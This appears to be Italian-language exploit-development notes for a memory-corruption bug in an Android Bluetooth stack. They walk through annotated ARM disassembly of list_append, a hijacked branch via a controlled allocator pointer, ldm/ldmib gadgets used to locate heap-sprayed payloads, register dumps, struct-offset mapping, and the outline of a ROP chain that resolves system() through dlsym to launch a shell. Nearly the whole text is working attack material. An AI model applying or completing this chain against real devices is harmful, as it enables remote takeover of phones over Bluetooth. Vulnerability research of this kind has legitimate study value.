.text:0x0010312A LDR R0, [R4,#0x44] => Load R4 + 0x44 into R0 => Load R0 with list_t* p_lcb->link_xmit_data_q from R4 + 0x44 .text:0x0010312C BL list_append => Branch with link to list_append
Prima della chiamata alla funzione list_append i registri contengono:
Il disassemblaggio della funzione list_append:
.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => Move R4 to R0 => Set R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => Move R1 to R5 => Set R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => Test R4 = 0 => Test if list_t* p_lcb->link_xmit_data_q is null .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Test CMP => Jump if list_t* p_lcb->link_xmit_data_q is not null .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Jump if R5 is not null => Jump if BT_HDR* p_buf is null .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10 => Set R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => Load R1 from R0 => Set R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => Move 8 to R0 => Set R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => Branch with link and exchange to R1 => Branch to controlled R1 !!!
Prima del branch controllato verso R1 i registri contengono:
Per trovare l'inizio del primo payload in list_t* p_lcb->link_xmit_data_q puntato da R4 abbiamo usato il gadget ldm trovato a 0x00125734:
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
Il crash target con i seguenti contenuti dei registri:
R4 = ade05278 = list_t* p_lcb->link_xmit_data_q with the first payload at + 0x894C (0x894C / 0x360 = 0x28 = 40 packets where we can access the second payload)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = first payload value + 0x0
R2 = R4 + 0x8 = dead0001 = first payload value + 0x4
R3 = R4 + 0xC = dead0002 = first payload value + 0x8
R5 = R4 + 0x10 = ade0db14 = first payload value + 0xC = address of second payload + 0x0
R6 = R4 + 0x14 = dead0003 = first payload value + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = first payload value + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = first payload value + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = first payload value + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = first payload value + 0xC = address of second payload+ 0x0
R14 (LR) = R4 + 0x30 = dead0003 = first payload value + 0x10
Il primo payload si ripete ogni 0x14 byte, che è la dimensione della struttura list_t
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 | l2cap header not usable list_node_t* tail; | Size 0x4 | Offset 0x4 | first payload value + 0x0 size_t length; | Size 0x4 | Offset 0x8 | first payload value + 0x4 list_free_cb free_cb; | Size 0x4 | Offset 0xC | first payload value + 0x8 const allocator_t* allocator; | Size 0x4 | Offset 0x10 | first payload value + 0xC } list_t; | Size 0x14
Per trovare l'inizio del secondo payload in BT_HDR* p_buff puntato da R5 abbiamo usato il gadget ldm trovato a 0x000dcecc:
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
Il crash target con i seguenti contenuti dei registri:
Non c'è incremento in questo load multiple e possiamo vedere che il contenuto di BT_HDR* p_buff + 0x0 è: 000e0000 00000000 000a2002 00010006 0002020a 00000002
Lo stesso test con un load multiple con incremento prima del gadget trovato a 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
Il crash target con il seguente log:
Dopo il crash i registri contengono:
Il contenuto di BT_HDR* p_buff + 0x4 per l'incremento è: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
Possiamo vedere che il secondo payload si trova a + 0x14 in BT_HDR* p_buff
########################################################################################
SCRIVERE LA ROP CHAIN
########################################################################################
Come Jan Ruge con la libreria libicuuc, abbiamo accesso solo a dlsym nella libreria bluetooth per trovare l'indirizzo di system al fine di avviare la shell
Il processo di exploit è il seguente:- Ottieni un indirizzo di voce del buffer dei dati in coda di trasmissione del collegamento a mem_offset 180 e calcola la base di un pacchetto con - 176
Vedi il codice per spiegazioni
################################################################################
